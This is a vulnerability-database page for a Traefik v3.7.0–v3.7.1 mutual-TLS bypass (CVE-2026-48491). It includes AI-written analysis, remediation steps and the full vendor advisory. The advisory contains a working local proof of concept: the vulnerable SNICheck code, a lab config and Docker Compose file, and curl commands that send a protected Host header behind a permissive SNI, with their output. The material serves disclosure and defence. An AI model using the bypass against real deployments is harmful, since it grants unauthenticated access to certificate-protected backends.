Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify Traefik entrypoint with mixed TLS policies
-
DeliveryEnumerate permissive SNI and wildcard-protected hostname
-
ExploitComplete TLS handshake to permissive SNI without client cert
-
ExecutionSend HTTP/2 request with :authority of protected host
-
PersistSNICheck misclassifies both sides as default
-
ImpactWildcard router forwards request to mTLS-gated backend
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Alternate path authentication
|
| Exploitation Conditions | The target Traefik instance (v3.7.0 or v3.7.1, file/v3 rule-syntax path confirmed; Kubernetes Ingress observed) must define a router whose rule is a wildcard |
| Impact | Vendor-supplied CVSS 4.0 base 7.8 (AV:N/AC:L/AT:N/PR:N/UI:N) is consistent with the description: the attack is fully remote, requires no authentication, and the only complexity is reconnaissance of a permissive SNI and the protected wildcard hostname. Vendor impact metrics are VC:N/VI:N/VA:N but SC:H/SI:H/SA:N - Traefik itself is not corrupted, but the subsequent system (the mTLS-protected backend) suffers high confidentiality and integrity impact, which matches the described outcome of unauthenticated access to a route explicitly gated by client certificates. No EPSS, KEV, or SSVC data was supplied, so probabilistic exploitation estimates are unavailable; however, a fully working PoC is embedded in the public GHSA, lowering the practical barrier substantially. The real-world blast radius is bounded by configuration: only deployments that combine a wildcard |
| Exploit ScenarioDerived | An attacker against a multi-tenant Traefik 3.7.1 ingress identifies a permissive public route (e.g. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 23, 2026
Mutual-TLS bypass in Traefik v3.7.0 and v3.7.1 lets unauthenticated remote attackers reach backends protected by wildcard-router TLSOptions (for example Host("*.example.com") with RequireAndVerifyClientCert). The SNICheck domain-fronting middleware resolves TLS options for the HTTP Host header via exact map lookups only, so an attacker completing the TLS handshake under a permissive SNI on the same entrypoint can then send a Host header for the wildcard-protected backend and skip the client-certificate requirement. Publicly available exploit code exists in the GitHub Security Advisory PoC; this is independent of the prior HTTP/3 mTLS issue.
Earlier versions of this analysis (2)
Mutual TLS bypass in Traefik v3.7.0 and v3.7.1 allows unauthenticated remote attackers to reach wildcard-protected backends without presenting a client certificate by exploiting a domain-fronting flaw in the SNICheck middleware. When a router uses Host(*.example.com) with RequireAndVerifyClientCert TLSOptions and a permissive SNI is served on the same entrypoint, an attacker completes the TLS handshake under the permissive options and sends an HTTP Host header targeting the wildcard route. A detailed PoC is published in the GHSA advisory, but there is no public exploit identified as weaponized at time of analysis and the issue is not in CISA KEV.
mTLS bypass in Traefik 3.7.0-3.7.1 lets unauthenticated remote clients reach backends protected by wildcard-router TLSOptions (e.g. RequireAndVerifyClientCert) by domain-fronting a permissive SNI on the same entrypoint while sending the protected host in the HTTP Host header. SNICheck resolves the Host header to TLSOptions using exact map lookups only, so wildcard rules like Host(*.example.com) collapse to the default options and the 421 Misdirected Request guard never fires. A detailed PoC is published in GHSA-5r4w-85f3-pw66; no public exploit identified at time of analysis as a packaged tool, but the advisory contains a working curl reproduction.
RemediationAI
Vendor-released patch: upgrade Traefik to v3.7.3 (https://github.com/traefik/traefik/releases/tag/v3.7.3), which fixes CVE-2026-48491 alongside CVE-2026-48020 and CVE-2026-53622 - review the v3.7.3 migration guide before rolling out. If upgrading is not immediately possible, avoid using wildcard Host/HostSNI routers with router-specific TLSOptions for mTLS enforcement and instead enumerate exact protected hostnames so SNICheck's exact-lookup path engages (at the cost of more verbose configuration), apply RequireAndVerifyClientCert in the default TLS options as well so the permissive SNI cannot complete a handshake without a certificate (this will break any legitimate non-mTLS routes on that entrypoint), separate mTLS-protected and permissive hosts onto different entrypoints/listeners, or reject domain-fronted requests at another layer by enforcing SNI/Host equality upstream or in a sidecar. Do not rely on 421 Misdirected Request from Traefik as the only control, since the vulnerable code path returns 200 in this exact scenario.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Traefik is a widely deployed cloud-native reverse proxy and ingress controller written in Go (package pkg:go/traefik). The flaw lives in pkg/middlewares/snicheck/snicheck.go, whose findTLSOptName helper performs only exact map lookups against tlsOptionsForHost (with a fallback that strips/appends a trailing dot) and never walks wildcard entries such as *.example.com. Wildcard Host/HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7 via the file provider and v3 rule syntax, and while the TCP-level HostSNI muxer uses wildcard-aware matching (muxer.DomainMatchHostExpression), the HTTP-layer SNICheck does not, so the SNI-vs-Host consistency check classifies both sides as default when the request host matches only a wildcard route. The root cause is an authentication-bypass-by-spoofing class issue (CWE-288): a domain-fronted request crosses a security boundary that the operator believed tls.options=mtls enforced.
Know when Kubernetes gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Remote unauthenticated domain-fronting bypass; scope changes because mTLS protecting a separate backend is circumvented, yielding high C and I on that backend with no availability impact.
Primary rating from Vendor (https://github.com/traefik/traefik).
CVSS VectorVendor: https://github.com/traefik/traefik
Lifecycle Timeline
3DescriptionCVE.org
Summary
There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's SNICheck domain-fronting protection ignores wildcard TLSOptions mappings. A wildcard router such as Host("*.example.com") can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send Host: api.example.com / HTTP request authority api.example.com to reach the wildcard-protected backend.
This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP Host header.
For HTTP/2, this corresponds to the request authority / Host value as exposed to Traefik's HTTP request handling.
Details
For the v3 rule-syntax / file-provider path used in this PoC, wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The SNICheck middleware does not.
The router build records TLS option names for host rules:
domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)
// ...
tlsOptionsForHost[domain] = tlsOptionsNameThe HTTPS forwarder then installs SNI routes:
rule := fmt.Sprintf(`HostSNI(%q)`, sniHost)HostSNI matching is wildcard-aware:
return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)But pkg/middlewares/snicheck/snicheck.go resolves the host's TLS option name with exact lookups only:
func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
name := findTLSOptName(tlsOptionsForHost, host, fqdn)
if name != "" {
return name
}
name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)
if name != "" {
return name
}
return traefiktls.DefaultTLSConfigName
}
func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
if tlsOptions, ok := tlsOptionsForHost[host]; ok {
return tlsOptions
}
if !fqdn {
return ""
}
if last := len(host) - 1; last >= 0 && host[last] == '.' {
if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {
return tlsOptions
}
return ""
}
if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok {
return tlsOptions
}
return ""
}There is no wildcard matching step for entries such as *.example.com. As a result, Host: api.example.com can be classified as using default TLS options even though the router matched a wildcard host with stricter TLSOptions.
Preconditions:
- A protected router uses wildcard
Host/HostSNIwith router-specificTLSOptions. - The protected wildcard router uses stricter TLS options, such as
RequireAndVerifyClientCert. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.
- The client can send an HTTP
Hostheader different from the TLS SNI.
Relationship to my previous HTTP/3 report:
I previously submitted a related HTTP/3 mTLS bypass involving Router.GetTLSGetClientInfo() and exact/case-sensitive SNI lookup.
This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by SNICheck resolving tlsOptionsForHost with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / Host header targets a wildcard-protected backend.
Relationship to public issue #12349:
This is related to public issue #12349, where wildcard hosts were observed to be classified as default by SNICheck, causing unexpected 421 Misdirected Request responses in some wildcard setups:
TLS options difference: SNI:https-ext@file, Header:defaultThe public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP Host header, both sides can be classified as default, so SNICheck does not return 421. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy.
Related wildcard SNICheck behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.
Minimal dynamic configuration:
http:
routers:
protected:
rule: Host(`*.example.com`)
service: protected
tls:
options: mtls
public:
rule: Host(`public.example.net`)
service: public
tls: {}
services:
protected:
loadBalancer:
servers:
- url: http://protected:80
public:
loadBalancer:
servers:
- url: http://public:80
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCertMinimal Docker Compose:
services:
traefik:
image: traefik:v3.7.1
command:
- --log.level=DEBUG
- --entrypoints.websecure.address=:8443
- --providers.file.filename=/etc/traefik/dynamic.yml
- --providers.file.watch=false
ports:
- "8443:8443"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
- ./certs:/certs:ro
depends_on:
- protected
- public
protected:
image: traefik/whoami:v1.11
command:
- --name=PROTECTED
public:
image: traefik/whoami:v1.11
command:
- --name=PUBLICCertificate generation:
rm -rf certs
mkdir -p certs
openssl req -x509 -newkey rsa:2048 -nodes -days 7 \
-keyout certs/ca.key \
-out certs/ca.crt \
-subj "/CN=traefik-poc-ca"
openssl req -newkey rsa:2048 -nodes \
-keyout certs/server.key \
-out certs/server.csr \
-subj "/CN=public.example.net" \
-addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com"
openssl x509 -req \
-in certs/server.csr \
-CA certs/ca.crt \
-CAkey certs/ca.key \
-CAcreateserial \
-out certs/server.crt \
-days 7 \
-sha256 \
-copy_extensions copyallPoC
Start Traefik with the configuration above.
Test environment:
- Traefik images tested:
v3.7.0,v3.7.1 - Backend image:
traefik/whoami:v1.11 - Client:
curlwith HTTPS/HTTP2 support - EntryPoint: TCP port
8443exposed locally - Provider: file provider
Control 1: the permissive public route works normally and reaches the public backend:
curl --noproxy '*' --http2 -skv \
--resolve public.example.net:8443:127.0.0.1 \
https://public.example.net:8443/Observed result:
HTTP/2 200
Name: PUBLIC
Host: public.example.net:8443Control 2: direct access to the wildcard-protected host without a client certificate is blocked:
curl --noproxy '*' --http2 -skv \
--resolve api.example.com:8443:127.0.0.1 \
https://api.example.com:8443/Observed result:
TLS alert ... certificate requiredBypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:
curl --noproxy '*' --http2 -skv \
--resolve public.example.net:8443:127.0.0.1 \
https://public.example.net:8443/ \
-H 'Host: api.example.com'Observed result:
HTTP/2 200
Name: PROTECTED
Host: api.example.comThe curl verbose output shows that the HTTP/2 request authority / Host value is api.example.com, while the TLS SNI is taken from the URL host public.example.net:
* [HTTP/2] [1] [:authority: api.example.com]
> Host: api.example.comExpected result:
HTTP/2 421
Misdirected RequestTraefik should return 421 Misdirected Request because the HTTP Host header resolves to the wildcard route's mtls TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.
Negative control with exact host:
Replacing the protected router rule with exact Host("api.example.com") while keeping tls.options=mtls causes the same domain-fronting request to be rejected:
http:
routers:
protected:
rule: Host(`api.example.com`)
service: protected
tls:
options: mtlsRun the same request:
curl --noproxy '*' --http2 -skv \
--resolve public.example.net:8443:127.0.0.1 \
https://public.example.net:8443/ \
-H 'Host: api.example.com'Observed result:
HTTP/2 421
Misdirected RequestThis shows that the bypass depends on wildcard TLSOptions resolution in SNICheck, not on a generic failure of the domain-fronting check.
Regression test used during validation:
go test ./pkg/middlewares/snicheck \
-run TestSNICheck_WildcardTLSOptionsCurrentBehavior \
-count=1Version matrix observed with Docker images:
v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup
v3.7.0: affected
v3.7.1: affectedImpact
Deployments that use wildcard router TLSOptions for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.
The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by tls.options=mtls on the wildcard route.
A possible fix would be for SNICheck to resolve tlsOptionsForHost using the same wildcard-aware host matching semantics used by the router / HostSNI matching, rather than exact map lookups only.
Possible workarounds until a fix is available:
- Avoid wildcard router
TLSOptionsfor mTLS access control. - Enumerate exact protected hostnames instead of using wildcard
Hostrules. - Enforce mTLS in the default TLS options as well.
- Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.
- Block or reject domain-fronted requests at another layer.
</details>
---
Articles & Coverage 2
Executive ViewAI
Traefik versions 3.7.0 and 3.7.1 fail to properly enforce certificate-based authentication at API gateways, creating a pathway for unauthorized actors to bypass security controls and gain access to protected services. This creates direct risk to organizations relying on Traefik for secure API access management and internal service protection.
Apply vendor patch. Until patching is complete, restrict network access to Traefik entrypoints to known-trusted identifiers and implement host-header validation controls to prevent exploitation; these are temporary mitigations requiring urgent patching.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
Same technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
EUVD-2026-38575
GHSA-5r4w-85f3-pw66
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB